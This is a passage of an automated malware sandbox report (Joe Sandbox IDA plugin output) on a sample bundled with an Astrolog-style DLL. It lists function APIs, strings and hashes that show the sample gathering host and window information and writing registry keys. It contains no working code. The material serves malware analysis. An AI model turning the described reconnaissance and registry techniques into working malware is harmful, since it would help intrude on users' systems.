Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf
String ID: .;C:\Astrolog\$SwissEph file '%s' not found in PATH '%s'$\$error: file path and name must be shorter than %d.
API String ID: 1467051239-2281980244
Opcode ID: d3036e5c85dce6198cb1e8c4ba3a22fc3f1b996679f7bb37ecf5cae109846634
Instruction ID: d152fd532e63344cf2853cf479f29a89bdfd064d3b400f0cef30faf59936c39f
Opcode Fuzzy Hash: d3036e5c85dce6198cb1e8c4ba3a22fc3f1b996679f7bb37ecf5cae109846634
Instruction Fuzzy Hash: FC51E6B0A0416D8FCB31DF28CE546D9BBF5AB45308F05C9F6D299E7602E6305AC98F94

Function 1001F1B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 100
registrylibrarystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(100782C8,10081068), ref: 1001F1F4
RegCreateKeyExW.KERNEL32(80000001,1003AC40,00000000,00000000,00000000,000F003F,00000000,000000FE,?), ref: 1001F25D
RegOpenKeyExW.KERNEL32(80000001,1003AC40,00000000,0002001F,000000FE), ref: 1001F274
lstrlenW.KERNEL32(?), ref: 1001F27F
RegSetValueExW.KERNEL32(000000FE,?,00000000,00000001,?,00000000), ref: 1001F297

Strings

Time, xrefs: 1001F1CB

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: CreateLibraryLoadOpenValuelstrlen
String ID: Time
API String ID: 1375638161-3483776891
Opcode ID: 66dc3ac0a5c7e6bf8b4a1d02e65aac9550fe6383deacdd14883f52ca131d7556
Instruction ID: da749f221406ebe725311cc99906b7a6f75a18cf87e871c10c78f3a2f2c99309
Opcode Fuzzy Hash: 66dc3ac0a5c7e6bf8b4a1d02e65aac9550fe6383deacdd14883f52ca131d7556
Instruction Fuzzy Hash: 9E313A71D0022DBFEB00DFA9CC84EEEBABDEF49654F10412AFA15E2210DB7859408B64

Function 6C84FAA9 Relevance: 9.3, APIs: 2, Strings: 3, Instructions: 599
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6C84FB76
_sprintf.LIBCMT ref: 6C84FBFB

Strings

%s,%s, xrefs: 6C84FBF0
Please call swe_set_ephe_path() or swe_set_jplfile() before calling swe_fixstar() or swe_fixstar_ut(), xrefs: 6C84FB24
, xrefs: 6C84FFB2

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _memset_sprintf
String ID: $%s,%s$Please call swe_set_ephe_path() or swe_set_jplfile() before calling swe_fixstar() or swe_fixstar_ut()
API String ID: 1557529856-1540576256
Opcode ID: ee5375fe3ba001505a679d0febee834ef2fddf4e732dd06806aace8e50ea731d
Instruction ID: 6cf543f48d2c4995eef9aa1f501088f523e91eb7e417572831fa78b04185f04f
Opcode Fuzzy Hash: ee5375fe3ba001505a679d0febee834ef2fddf4e732dd06806aace8e50ea731d
Instruction Fuzzy Hash: F0224972E0060DEBDF309F54DA80BDD7774FF05308F1189A9E8986A590DF758A68CB91

Function 100425EC Relevance: 9.3, APIs: 6, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__allrem.LIBCMT ref: 10042776
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10042792
__allrem.LIBCMT ref: 100427A9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 100427C7
__allrem.LIBCMT ref: 100427DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 100427FC

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 5a632a87e7081925c05750c335bdd88a943fbf03be889ba1cf27fc3701b1fcbd
Instruction ID: d5479bc1b746727abca6d8f9757406ec68e7b7bbf4155c34677e3b1bd49904a4
Opcode Fuzzy Hash: 5a632a87e7081925c05750c335bdd88a943fbf03be889ba1cf27fc3701b1fcbd
Instruction Fuzzy Hash: B481F376B01B06ABE710DE69CC82B5A73E9EF40764F71423EF510D7281EB70E9048B98

Function 6C84F7DA Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 209COMMON

Download Yara Rule

Strings

NULL, xrefs: 6C84F832
,%s, xrefs: 6C84F9CC
.;C:\Astrolog\, xrefs: 6C84F82C, 6C84F831, 6C84F84B

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID:
String ID: ,%s$.;C:\Astrolog\$NULL
API String ID: 0-2992153177
Opcode ID: dee4d7cb7ebd00c7c2b64512ca0633cba712da2cc4d9039f2cdeea6ce6059409
Instruction ID: cd8cbfbc6f980d9868b4d2977a010779f4ce677702dad11ff81e0a136ab35b07
Opcode Fuzzy Hash: dee4d7cb7ebd00c7c2b64512ca0633cba712da2cc4d9039f2cdeea6ce6059409
Instruction Fuzzy Hash: 9071E77190915D5ECB30CF289D94BD9BBB9AB15318F208AFED098D7691DB309689CF00

Function 6C80404F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6C821472: _sprintf.LIBCMT ref: 6C8214BC
Part of subcall function 6C821472: _sprintf.LIBCMT ref: 6C8214E0

__CxxThrowException@8.LIBCMT ref: 6C8040AA

Part of subcall function 6C890FF1: KiUserExceptionDispatcher.NTDLL(?,?,6C885E3B,?,?,?,?,?,6C885E3B,?,6C8F2DBC,6C920A30), ref: 6C891033

_memset.LIBCMT ref: 6C8040C4
GetModuleFileNameA.KERNEL32(00000000,?,000000FF), ref: 6C8040D9
MessageBoxA.USER32(00000000,GameBegin,00000000,00000000), ref: 6C8040F4

Part of subcall function 6C862A72: SHDeleteKeyA.SHLWAPI(80000001,Software\Classes\.as,?,?,6C85DE40), ref: 6C862A85
Part of subcall function 6C862A72: SHDeleteKeyA.SHLWAPI(80000001,Software\Classes\Astrolog.as,?,?,6C85DE40), ref: 6C862A91

Part of subcall function 6C8165F4: _memset.LIBCMT ref: 6C81662D
Part of subcall function 6C8165F4: _memset.LIBCMT ref: 6C816643

Part of subcall function 6C816B34: _memset.LIBCMT ref: 6C816B68

Part of subcall function 6C882E33: _doexit.LIBCMT ref: 6C882E3F

Strings

GameBegin, xrefs: 6C8040EE

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _memset$Delete_sprintf$DispatcherExceptionException@8FileMessageModuleNameThrowUser_doexit
String ID: GameBegin
API String ID: 2408732992-2407867525
Opcode ID: bf96294ed2079bc81087d7927af2b42ad1ed9ab493323c706a0496974d309480
Instruction ID: db581331bb23b81fe4aee6961c7efc47853483d7a6a1dd059203590a62c6a4ac
Opcode Fuzzy Hash: bf96294ed2079bc81087d7927af2b42ad1ed9ab493323c706a0496974d309480
Instruction Fuzzy Hash: D521C7B17462099FDF319F688F838C937B8E7A674DF600C7AA11592F41D7348948DB61

Function 1001CAE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59stringCOMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,00000200), ref: 1001CB27
lstrcpyW.KERNEL32(?,10077510,?,00000000,00000000), ref: 1001CB3D
wsprintfW.USER32 ref: 1001CB69
lstrlenW.KERNEL32(?), ref: 1001CB73

Strings

Time, xrefs: 1001CB7C

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: ComputerNamelstrcpylstrlenwsprintf
String ID: Time
API String ID: 2137660125-3483776891
Opcode ID: 0d86f43cf8aff1c96b5c1221564300b5aa5e20fb4681d5bdfc798f6ad99b5944
Instruction ID: 3e6a45b9b470fbc869b3f012b6210870463603dc6c33235bc886a16c7cdcfef5
Opcode Fuzzy Hash: 0d86f43cf8aff1c96b5c1221564300b5aa5e20fb4681d5bdfc798f6ad99b5944
Instruction Fuzzy Hash: 43118FB5900228ABE714DB64CC8AFDB777CEB44601F0141A5F709E6142EF74AB88CBA4

Function 100514E0 Relevance: 7.9, APIs: 5, Instructions: 376timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 10051562
_free.LIBCMT ref: 10051586
_free.LIBCMT ref: 10051715
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1006A608), ref: 10051727
_free.LIBCMT ref: 100518E3

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: d2a1c661eeab8fe2ccda79241d1e7e9c5a7a17148dfb404b2796e1f3565e554a
Instruction ID: 5944b97e054a481ea07992aa34664951c7c548f22b03f4b78325800655bf825d
Opcode Fuzzy Hash: d2a1c661eeab8fe2ccda79241d1e7e9c5a7a17148dfb404b2796e1f3565e554a
Instruction Fuzzy Hash: 45C14675E042599FDB11CF78CC81AEE7BF9EF45250F2541AAE884D7282EB309E49C750

Function 1001CBA0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,00000200), ref: 1001CBF5
lstrcpyW.KERNEL32(?,10077510,?,?,?,?,?,?), ref: 1001CC0B
wsprintfW.USER32 ref: 1001CC37

Strings

Remark, xrefs: 1001CC54, 1001CC78

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: Remark
API String ID: 2045598086-3865500943
Opcode ID: 41c774fbd50cdb4b117e5591b852dfc880d65e9c52b26308cb5e22cccdd32118
Instruction ID: b3f827b17ac0b056ac70bbdc4e75ce27e2abaede2ac2f1ecf34c5bf4031cd120
Opcode Fuzzy Hash: 41c774fbd50cdb4b117e5591b852dfc880d65e9c52b26308cb5e22cccdd32118
Instruction Fuzzy Hash: 1421A8B5D40218AAEB14D764CD46FCA73ADEB00701F404596F708BA182EFB5AB848BD4

Function 1000B9D0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 1000B9F0
GetTopWindow.USER32(00000000), ref: 1000B9FF
GetWindowTextLengthW.USER32(00000000), ref: 1000BA3C
GetWindowTextW.USER32(?,00000000,00000001), ref: 1000BA9E

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: Window$Text$ForegroundLength
String ID:
API String ID: 1471897267-0
Opcode ID: 3d17bf614a9b19a3ebe21ce52a279043732c0d42b8e04fd6304377340a176a11
Instruction ID: f5465e67f4ccfb34a7407618dca653fffe2592f44dfeaf943761977b0b72cbef
Opcode Fuzzy Hash: 3d17bf614a9b19a3ebe21ce52a279043732c0d42b8e04fd6304377340a176a11
Instruction Fuzzy Hash: F331B374A047059BD714CF28C81676BF7E9EF85644F008A1EF88A8B250EBB4EA448792

Function 10011A00 Relevance: 5.3, APIs: 4, Instructions: 294COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 10011D6C

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 29c01c5153810fce39ab4b27d04142ac06fe52652b89456ca7a689fc236b89a3
Instruction ID: f3143f391f0517f03d2711e34f5f78023d9b528400ad956a5550ea6a7af18503
Opcode Fuzzy Hash: 29c01c5153810fce39ab4b27d04142ac06fe52652b89456ca7a689fc236b89a3
Instruction Fuzzy Hash: 8EA1F874E002199FEF24CFA4DC85BEE7BB6FF45354F104228E415AB292DB34A985CB61

Function 1001944C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 10019464

Part of subcall function 1001CAE0: GetComputerNameW.KERNEL32(?,00000200), ref: 1001CB27
Part of subcall function 1001CAE0: lstrcpyW.KERNEL32(?,10077510,?,00000000,00000000), ref: 1001CB3D
Part of subcall function 1001CAE0: wsprintfW.USER32 ref: 1001CB69
Part of subcall function 1001CAE0: lstrlenW.KERNEL32(?), ref: 1001CB73

Strings

+, xrefs: 10019DCD
tasktime, xrefs: 10019473

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: wsprintf$ComputerNamelstrcpylstrlen
String ID: +$tasktime
API String ID: 1932226818-2742412719
Opcode ID: a71690afc4177896275e162c754cac9cb1aa73dc16bf86ce23c540c854ca97f1
Instruction ID: d866fd5828c63630ef7eb7cf9d4e4059614f1f7a34494511adf1fe88d1a7de53
Opcode Fuzzy Hash: a71690afc4177896275e162c754cac9cb1aa73dc16bf86ce23c540c854ca97f1
Instruction Fuzzy Hash: A2F09A319082689FCB15DB14EC4579AB764FB44214F0080AAE80AAB282DB786A94CB90

Function 6C8032F1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegisterClassA.USER32(6C92A988), ref: 6C803314
CreateWindowExA.USER32(00000000,Message Window,00CF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000), ref: 6C80333F

Strings

Message Window, xrefs: 6C803333

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: ClassCreateRegisterWindow
String ID: Message Window
API String ID: 3469048531-1814804990
Opcode ID: e15f8ced47ab8b59fc50d6cfaf2e06b85ceb6832b38dc1c15558b6761e77cbae
Instruction ID: c02367f283dca993aef880461656cabd815e70b26f21b6b6586b67337e4b5e65
Opcode Fuzzy Hash: e15f8ced47ab8b59fc50d6cfaf2e06b85ceb6832b38dc1c15558b6761e77cbae
Instruction Fuzzy Hash: BBE0EDFA326600BFEF248BA2CD0AF363678E706301B22451DB880D6211DE796C40FB60

Function 100516BD Relevance: 4.7, APIs: 3, Instructions: 173timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1006A608), ref: 10051727
_free.LIBCMT ref: 10051715

Part of subcall function 1004D9B2: HeapFree.KERNEL32(00000000,00000000,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7), ref: 1004D9C8
Part of subcall function 1004D9B2: GetLastError.KERNEL32(10053BE7,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7,10053BE7), ref: 1004D9DA

_free.LIBCMT ref: 100518E3

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 2155170405-0
Opcode ID: 0a9afe676757fbac900952ed88f34385681e04743330df06d8487b9b6f66e1b8
Instruction ID: ae1caa736d89166b0db1018e9d2eac3869d6e7b19e4e3805c26ca96c628e2ac8
Opcode Fuzzy Hash: 0a9afe676757fbac900952ed88f34385681e04743330df06d8487b9b6f66e1b8
Instruction Fuzzy Hash: BF51B475D04219ABEB11DBA98C819EE77FCFF44250B2146ABE454D7291EB30AE48CB50

Function 1000A920 Relevance: 4.6, APIs: 3, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 1000A96D
VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004), ref: 1000A995

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: AllocVirtual__floor_pentium4
String ID:
API String ID: 4174053956-0
Opcode ID: ca2fadb11b78880022fd620a6bfc8c65ebc753ad8cf0125fa148e2bc209761ce
Instruction ID: 23107b6d779a8230bbb2392973feb2951df0fac37201d0ea6cbcca7204baf38b
Opcode Fuzzy Hash: ca2fadb11b78880022fd620a6bfc8c65ebc753ad8cf0125fa148e2bc209761ce
Instruction Fuzzy Hash: EF21F572704B149AE310DA39EC81A17F7E8EB453A1F014B3AFA86D6190EB71E890C791

Function 1000BB20 Relevance: 4.6, APIs: 3, Instructions: 75networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000100), ref: 1000BB53
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 1000BB6F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000,00000000,00000000), ref: 1000BBB4

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: ByteCharMultiWide$gethostname
String ID:
API String ID: 2445153122-0
Opcode ID: 8220a0e5b3adec0511fb902189cbbe93e367e5842becd02a05235d6e5f907661
Instruction ID: 6ae64a3ab1f62f0a90e46849d51f8ee7803add071dfa6f0a7ff8e62bf13427a4
Opcode Fuzzy Hash: 8220a0e5b3adec0511fb902189cbbe93e367e5842becd02a05235d6e5f907661
Instruction Fuzzy Hash: 6A217E705083549FE310CF24CC05BABB7E8FF89714F000A5EF99996290EBB4AA48C7D2

Function 6C803FFB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6C804005

Part of subcall function 6C803021: _memset.LIBCMT ref: 6C80304F
Part of subcall function 6C803021: GetModuleFileNameA.KERNEL32(?,000000FF), ref: 6C803124

Part of subcall function 6C824AFA: _fgetc.LIBCMT ref: 6C824B43
Part of subcall function 6C824AFA: _sprintf.LIBCMT ref: 6C824B6F

Strings

astrolog.as, xrefs: 6C80400F

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: FileH_prolog3_catch_ModuleName_fgetc_memset_sprintf
String ID: astrolog.as
API String ID: 2788110157-2633699130
Opcode ID: fd9677b5c575c1c8d34cc505abd960180ceb0a6ffaa92c15e75216d8a1883d5f
Instruction ID: 95d44a86ef386bd3e32437e434f797b3d205252f3b974c4b34e8b614389a0167
Opcode Fuzzy Hash: fd9677b5c575c1c8d34cc505abd960180ceb0a6ffaa92c15e75216d8a1883d5f
Instruction Fuzzy Hash: 29F0BEB234B2608BCF759FB94FC34593670ABD6A4DB200C3E8102A6F80CB70C488C781

Function 1001ED90 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

CompareStringW.KERNELBASE(00000800,00000001,?,00000001,100772E4,00000001,00000000,?,1008D880,?,?,1001EF86), ref: 1001EDB5

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: 329863f654be77b7aa99de90060457f735ac7f351ea3de8cce6a6f4fc65d937a
Instruction ID: 4cdd57567af10c333d344e70a6ee3f7fe84ae6836bac624ff216e6e62135134a
Opcode Fuzzy Hash: 329863f654be77b7aa99de90060457f735ac7f351ea3de8cce6a6f4fc65d937a
Instruction Fuzzy Hash: A3F0FC33740316B7D620C58AAC85FD7B799E785755F0140AAF70C9F180DBE2984187D4

Function 10020310 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,10081068), ref: 10020361

Part of subcall function 10020580: LoadLibraryW.KERNEL32(100783F4,10081068,?,?,?,?,1002037D), ref: 100205B5

Memory Dump Source

Source File: 00000006.00000002.4034556520.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_vhCQTUg.jbxd

Similarity

API ID: EventLibraryLoad
String ID:
API String ID: 298091905-0
Opcode ID: 3b4ecae4166f1dad3b18585e05198afbb3260a52d15318504b17a8d368628590
Instruction ID: e8bd7fe2e6ec80928e3e5f9c2cc51210f5708b32cd840354af321c6057caa1aa
Opcode Fuzzy Hash: 3b4ecae4166f1dad3b18585e05198afbb3260a52d15318504b17a8d368628590
Instruction Fuzzy Hash: 1E01B572D04748EBDB01CF98DD417DEF7B9FF1A214F108316F840B2251EB366A808A50

Function 6C8824FA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

